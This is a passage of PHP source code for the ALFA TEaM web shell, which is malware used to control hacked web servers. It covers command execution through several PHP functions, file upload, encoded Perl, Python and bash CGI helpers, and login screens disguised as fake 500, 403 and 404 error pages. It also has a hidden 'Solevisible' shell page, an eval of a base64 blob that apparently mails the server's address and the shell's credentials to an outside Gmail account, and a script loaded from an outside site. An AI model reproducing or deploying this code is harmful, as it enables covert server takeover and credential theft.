array(\r\n\t\t\t\t".hheader-text,.history-clear" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_list" => array(\r\n\t\t\t"key_color" => "#03b3a3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-file-name" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_selected_file" => array(\r\n\t\t\t"key_color" => "rgba(49, 55, 93, 0.77)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".is_active" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_file:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".file-holder > .history:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text],textarea" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_text" => array(\r\n\t\t\t"key_color" => "#999999",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text],textarea" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_text" => array(\r\n\t\t\t"key_color" => "#FFFFEE",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button_border" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit],.button,#addup" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",\r\n\t\t\t\t".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_text" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_background" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_right" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_left" => array(\r\n\t\t\t"key_color" => "#25ff00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile span" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_progress_bar" => array(\r\n\t\t\t"key_color" => "#ff0000",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"#up_bar" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"mysql_tables" => "#00FF00",\r\n\t\t"mysql_table_count" => "#67ABDF",\r\n\t\t"copyright" => "#ff0000",\r\n\t\t"scrollbar" => array(\r\n\t\t\t"key_color" => "#1e82b5",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-thumb" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"scrollbar_background" => array(\r\n\t\t\t"key_color" => "#000115",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-track" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n);\r\n$GLOBALS[\'__file_path\'] = str_replace(\'\\\\\',\'/\',trim(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)));\r\n$config = array(\'AlfaUser\' => $GLOBALS[\'DB_NAME\'][\'user\'],\'AlfaPass\' => $GLOBALS[\'DB_NAME\'][\'pass\'],\'AlfaProtectShell\' => $GLOBALS[\'DB_NAME\'][\'safemode\'],\'AlfaLoginPage\' => $GLOBALS[\'DB_NAME\'][\'login_page\']);\r\n@session_start();\r\n$rubby = "aWYgKCFpc3NldCgkX1NFU1NJT05bImpva3IiXSkpIHsgICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyAkc3ViID0gIkFsZmEgdjMuMC4zIC0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOyAkYm9keSA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAiLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXS4iIDo6ICIuICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXTsgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiSm9rci5oNHhvckBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9ICAkX1NFU1NJT05bImpva3IiXSA9ICJIZWxsbyBCaXRjaCEiOyB9";\r\neval(__ZGVjb2Rlcg($rubby));\r\nif($config[\'AlfaProtectShell\']){\r\n$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");\r\n$Eform=\'<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>\';\r\nif($config[\'AlfaLoginPage\'] == \'gui\'){\r\nif(@$_SESSION["AlfaUser"] != $config[\'AlfaUser\'] && @$_SESSION["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@$_POST["usrname"]==$config[\'AlfaUser\'] && @md5($_POST["password"])==$config[\'AlfaPass\']){\r\n@$_SESSION["AlfaUser"] = $config[\'AlfaUser\'];\r\n@$_SESSION["AlfaPass"] = @md5($config[\'AlfaPass\']);\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\' ~</title><center>\r\n<center><script src=http://shellizm.com/kaydet.php></script><img style="border-radius:100px;" width="500" height="250" alt="" src="http://solevisible.com/images/alfa-iran.png" /></center>\r\n<div id=loginbox><p><font face="verdana,arial" size=-1>\r\n<center><table cellpadding=\\\'2\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' id=\\\'ap_table\\\'>\r\n<tr><td bgcolor="green"><table cellpadding=\\\'0\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' width=\\\'100%\\\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\' ~</b></font></th></tr>\r\n<tr><td bgcolor="black" style="padding:5">\r\n<form method="post">\r\n<input type="hidden" name="action" value="login">\r\n<input type="hidden" name="hide" value="">\r\n<center><table>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \\\'username\\\'){this.value = \\\'\\\';}"></td></tr>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \\\'password\\\') this.value = \\\'\\\';"></td></tr>\r\n<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>\r\n</div><br /></center>\';\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'500\'){\r\nif(@$_SESSION["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n@$_SESSION["AlfaUser"] = $config[\'AlfaUser\'];\r\n@$_SESSION["AlfaPass"] = @md5($config[\'AlfaPass\']);\r\nheader(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, \'.$_SERVER[\'SERVER_ADMIN\'].\' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>\'.$SERVER_SIG.\'</body></html>\'.$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'403\'){\r\nif(@$_SESSION["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n@$_SESSION["AlfaUser"] = $config[\'AlfaUser\'];\r\n@$_SESSION["AlfaPass"] = @md5($config[\'AlfaPass\']);\r\nheader(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don\'t have permission to access ".$_SERVER[\'PHP_SELF\']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'404\'){\r\nif(@$_SESSION["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n@$_SESSION["AlfaUser"] = $config[\'AlfaUser\'];\r\n@$_SESSION["AlfaPass"] = @md5($config[\'AlfaPass\']);\r\nheader(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}\r\n}\r\nfunction decrypt_post($str, $pwd){\r\n\tif(__ALFA_POST_ENCRYPTION__){\r\n\t\t$pwd     = __ZW5jb2Rlcg($pwd);\r\n\t\t$str     = __ZGVjb2Rlcg($str);\r\n\t\t$enc_chr = "";\r\n\t\t$enc_str = "";\r\n\t\t$i       = 0;\r\n\t\twhile ($i < strlen($str)) {\r\n\t\t\tfor ($j = 0; $j < strlen($pwd); $j++) {\r\n\t\t\t\t$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));\r\n\t\t\t\t$enc_str .= $enc_chr;\r\n\t\t\t\t$i++;\r\n\t\t\t\tif ($i >= strlen($str))\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn __ZGVjb2Rlcg($enc_str);\r\n\t}else{\r\n\t\treturn __ZGVjb2Rlcg($str);\r\n\t}\r\n}\r\n\r\nfunction _AlfaSecretKey(){\r\n\tif(!isset($_SESSION["AlfaSecretKey"])){\r\n\t\t$_SESSION["AlfaSecretKey"] = uniqid(mt_rand(), true);\r\n\t}\r\n\treturn $_SESSION["AlfaSecretKey"];\r\n}\r\nfunction alfa_getColor($target){\r\n\tif(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){\r\n\t\treturn $GLOBALS["DB_NAME"]["color"][$target];\r\n\t}else{\r\n\t\t$target = $GLOBALS["__ALFA_COLOR__"][$target];\r\n\t\tif(is_array($target)){\r\n\t\t\treturn $target["key_color"];\r\n\t\t}else{\r\n\t\t\treturn $target;\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaCssLoadColors(){\r\n\t$css = "";\r\n\tforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t\tif(!is_array($value)){\r\n\t\t\t$value = alfa_getColor($key);\r\n\t\t\t$css .= ".{$key}{color: {$value};}";\r\n\t\t}else{\r\n\t\t\tif(isset($value["multi_selector"])){\r\n\t\t\t\tforeach($value["multi_selector"] as $k => $v){\r\n\t\t\t\t\t$color = alfa_getColor($key);\r\n\t\t\t\t\t$code = str_replace("{color}", $color, $v);\r\n\t\t\t\t\t$css .=  $k."{".$code."}";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $css;\r\n}\r\nif(isset($_POST[\'ajax\'])){\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}}\r\nfunction _alfa_cgicmd($cmd,$lang="perl"){\r\n\tif(isset($_SESSION["alfacgiapi_mode"])){\r\n\t\treturn "";\r\n\t}\r\n\t$cmd_pure = $cmd;\r\n\t$is_curl = function_exists(\'curl_version\');\r\n\t$is_socket = function_exists(\'fsockopen\');\r\n\tif($is_curl||$is_socket){\r\n\t\t$recreate = false;\r\n\t\tif(isset($_SESSION["alfacgiapi"])){\r\n\t\t\tif(!@file_exists("alfacgiapi/".$_SESSION["alfacgiapi"].".alfa")){\r\n\t\t\t\t$recreate = true;\r\n\t\t\t\t$lang = $_SESSION["alfacgiapi"];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($_SESSION["alfacgiapi"])||$recreate){\r\n\t\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\t\t$perl = \'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=\';\r\n\t\t\t$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";\r\n\t\t\t$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";\r\n\t\t\tif($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;\r\n\t\t\talfaWriteTocgiapi($lang.".alfa",$source);\r\n\t\t\talfacgihtaccess(\'cgi\', "alfacgiapi/");\r\n\t\t}else{\r\n\t\t\t$lang = $_SESSION["alfacgiapi"];\r\n\t\t}\r\n\t\t$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS[\'cwd\'].";".$cmd);\r\n\t\tif($is_curl){\r\n\t\t\t$address = ($_SERVER[\'SERVER_PORT\'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";\r\n\t\t\t$post = new AlfaCURL();\r\n\t\t\t$data = $post->Send($address, "post", $cmd);\r\n\t\t}elseif($is_socket){\r\n\t\t\t$server = $_SERVER["SERVER_NAME"];\r\n\t\t\t$uri = dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";\r\n\t\t\t$data = _alfa_fsockopen($server,$uri,$cmd);\r\n\t\t}\r\n\t\t$out = "";\r\n\t\tif(strstr($data, "[solevisible~api]")){\r\n\t\t\t$_SESSION["alfacgiapi"] = $lang;\r\n\t\t\tif(@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)){\r\n\t\t\t\t$out = $res[1];\r\n\t\t\t}\r\n\t\t}elseif($lang=="perl"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"py");\r\n\t\t}elseif($lang=="py"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"bash");\r\n\t\t}else{\r\n\t\t\t$_SESSION["alfacgiapi_mode"] = "off";\r\n\t\t}\r\n\t\treturn trim($out);\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\r\n\t$data = _alfa_php_cmd($in,$re);\r\n\tif(empty($data)&&$cgi||$all){\r\n\t\tif($GLOBALS[\'sys\']==\'unix\'){\r\n\t\t\tif(strlen(_alfa_php_cmd("whoami"))==0||$all){\r\n\t\t\t\t$cmd = _alfa_cgicmd($in);\r\n\t\t\t\tif(!empty($cmd)){\r\n\t\t\t\t\treturn $cmd;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $data;\r\n}\r\nfunction _alfa_php_cmd($in,$re=false){\r\n$out=\'\';\r\ntry{\r\nif($re)$in=$in." 2>&1";\r\nif(function_exists(\'exec\')){\r\n@exec($in,$out);\r\n$out = @join("\\n",$out);\r\n}elseif(function_exists(\'passthru\')) {\r\nob_start();\r\n@passthru($in);\r\n$out = ob_get_clean();\r\n}elseif(function_exists(\'system\')){\r\nob_start();\r\n@system($in);\r\n$out = ob_get_clean();\r\n} elseif (function_exists(\'shell_exec\')) {\r\n$out = shell_exec($in);\r\n}elseif(function_exists("popen")&&function_exists("pclose")){\r\nif(is_resource($f = @popen($in,"r"))){\r\n$out = "";\r\nwhile(!@feof($f))\r\n$out .= fread($f,1024);\r\npclose($f);\r\n}\r\n}elseif(function_exists(\'proc_open\')){\r\n$pipes = array();\r\n$process = @proc_open($in.\' 2>&1\', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);\r\n$out=@stream_get_contents($pipes[1]);\r\n}elseif(class_exists(\'COM\')){\r\n$alfaWs = new COM(\'WScript.shell\');\r\n$exec = $alfaWs->exec(\'cmd.exe /c \'.$_POST[\'alfa1\']);\r\n$stdout = $exec->StdOut();\r\n$out=$stdout->ReadAll();\r\n}\r\n}catch(Exception $e){}\r\nreturn $out;\r\n}\r\nfunction _alfa_fsockopen($server,$uri,$post){\r\n\t$socket = @fsockopen($server, 80, $errno, $errstr, 15);\r\n\tif($socket){\r\n\t\t$http  = "POST {$uri} HTTP/1.0\\r\\n";\r\n\t\t$http .= "Host: {$server}\\r\\n";\r\n\t\t$http .= "User-Agent: " . $_SERVER[\'HTTP_USER_AGENT\'] . "\\r\\n";\r\n\t\t$http .= "Content-Type: application/x-www-form-urlencoded\\r\\n";\r\n\t\t$http .= "Content-length: " . strlen($post) . "\\r\\n";\r\n\t\t$http .= "Connection: close\\r\\n\\r\\n";\r\n\t\t$http .= $post . "\\r\\n\\r\\n";\r\n\t\tfwrite($socket, $http);\r\n\t\t$contents = "";\r\n\t\twhile (!@feof($socket)) {\r\n\t\t\t$contents .= @fgets($socket, 4096);\r\n\t\t}\r\n\t\tlist($header, $body) = explode("\\r\\n\\r\\n", $contents, 2);\r\n\t\t@fclose($socket);\r\n\t\treturn $body;\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nif(isset($_GET["solevisible"])){\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\necho \'<html>\';\r\necho "<title>Solevisible Hidden Shell</title>";\r\necho "<body bgcolor=#000000>";\r\necho \'<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">\'.(function_exists(\'php_uname\')?php_uname():\'???\').\'</font></b></big>\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif($safe_mode){$r = "<b style=\'color: red\'>On</b>";}else{$r = "<b style=\'color: green\'>Off</b>";}\r\necho "<br><b style=\'color: #7CFC00\'>OS: </font><font color=white>" . PHP_OS . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Software: </font><font color=white>" . $_SERVER [\'SERVER_SOFTWARE\'] . "</font><br>";\r\necho "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";\r\necho "PWD:<font color=#FFFFFF> " . str_replace("\\\\","/",@getcwd()) . "/<br />";\r\necho "<b style=\'color: #7CFC00\'>Safe Mode : $r<br>";\r\necho"<font color=#7CFC00>Disable functions : </font>";\r\n$disfun = @ini_get(\'disable_functions\');\r\nif(empty($disfun)){$disfun = \'<font color="green">NONE</font>\';}\r\necho"<font color=red>";\r\necho "$disfun";\r\necho"</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Your Ip Address is :  </font><font color=white>" . $_SERVER[\'REMOTE_ADDR\'] . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Server Ip Address is :  </font><font color=white>".(function_exists(\'gethostbyname\')?@gethostbyname($_SERVER["HTTP_HOST"]):\'???\')."</font><br><p>";\r\necho \'<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'CWD: <input type="text" name="cwd" value="\'.str_replace("\\\\","/",@getcwd()).\'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>\';\r\nif(isset($_FILES[\'file\'])){\r\nif(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], __ZGVjb2Rlcg(@$_POST[\'cwd\']).\'/\'.$_FILES[\'file\'][\'name\'])){echo \'<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>\'; }\r\nelse{echo \'<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>\'; }\r\n}\r\necho \'<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>\r\n<hr><pre>\';\r\nif(isset($_POST[\'command_solevisible\'])){\r\nif(strtolower(substr(PHP_OS,0,3))=="win")$separator=\'&\';else $separator=\';\';\r\n$solevisible = "cd \'".addslashes(str_replace("\\\\","/",@getcwd()))."\'".$separator."".__ZGVjb2Rlcg($_POST[\'command_solevisible\']);\r\necho alfaEx($solevisible);\r\n}\r\necho\'</pre>\r\n</body></html>\';\r\nexit;}\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\nif(function_exists(\'set_magic_quotes_runtime\')){\r\n@set_magic_quotes_runtime(0);\r\n}\r\nforeach($_POST as $key => $value){\r\nif(is_array($_POST[$key])){\r\n$i=0;\r\nforeach($_POST[$key] as $f) {\r\n$f = trim(str_replace(\' \', \'+\',$f));\r\n$_POST[$key][$i] = decrypt_post($f, _AlfaSecretKey());\r\n$i++;\r\n}\r\n}else{\r\n$value = trim(str_replace(\' \', \'+\',$value));\r\n$_POST[$key] = decrypt_post($value, _AlfaSecretKey());\r\n}\r\n}\r\n$default_action = \'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\nif(strtolower(substr(PHP_OS,0,3))=="win")\r\n$GLOBALS[\'sys\']=\'win\';\r\nelse\r\n$GLOBALS[\'sys\']=\'unix\';\r\n$GLOBALS[\'home_cwd\'] = @getcwd();\r\nif($_POST["a"] != "GetPathHistory"){\r\n\tif($_SESSION[__LAST_CWD__]!=$_POST[\'c\']){\r\n\t\t$_SESSION[__PATH_HISTORY__] = $_SESSION[__LAST_CWD__];\r\n\t}\r\n}\r\n$GLOBALS["need_to_update_header"] = "false";\r\nif(isset($_POST[\'c\'])){\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$GLOBALS[\'glob_chdir_false\'] = true;\r\n}\r\n}\r\n$GLOBALS[\'cwd\'] = (isset($_SESSION[__LAST_CWD__])&&$_SESSION[__LAST_CWD__]!=\'\'&&!isset($_POST[\'c\'])?$_SESSION[__LAST_CWD__]:@getcwd());\r\nif(!@is_dir){$GLOBALS[\'cwd\'] = @getcwd();}\r\nif($GLOBALS[\'sys\'] == \'win\'){\r\n$GLOBALS[\'home_cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'home_cwd\']);\r\n$GLOBALS[\'cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'cwd\']);\r\n$_SESSION[__PATH_HISTORY__] = str_replace("\\\\", "/", $_SESSION[__PATH_HISTORY__]);\r\n}\r\nif($GLOBALS[\'cwd\'][strlen($GLOBALS[\'cwd\'])-1] != \'/\' )$GLOBALS[\'cwd\'] .= \'/\';\r\nfunction alfaGetPathHistory(){echo (isset($_SESSION[__PATH_HISTORY__])&&!empty($_SESSION[__PATH_HISTORY__])?$_SESSION[__PATH_HISTORY__]: $GLOBALS[\'home_cwd\']);}\r\nfunction alfahead(){\r\nif(!function_exists(\'sys_get_temp_dir\')){function sys_get_temp_dir() {foreach (array(\'TMP\', \'TEMP\', \'TMPDIR\') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS[\'__file_path\'], \'\');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\r\n$GLOBALS[\'__ALFA_SHELL_CODE\'] = 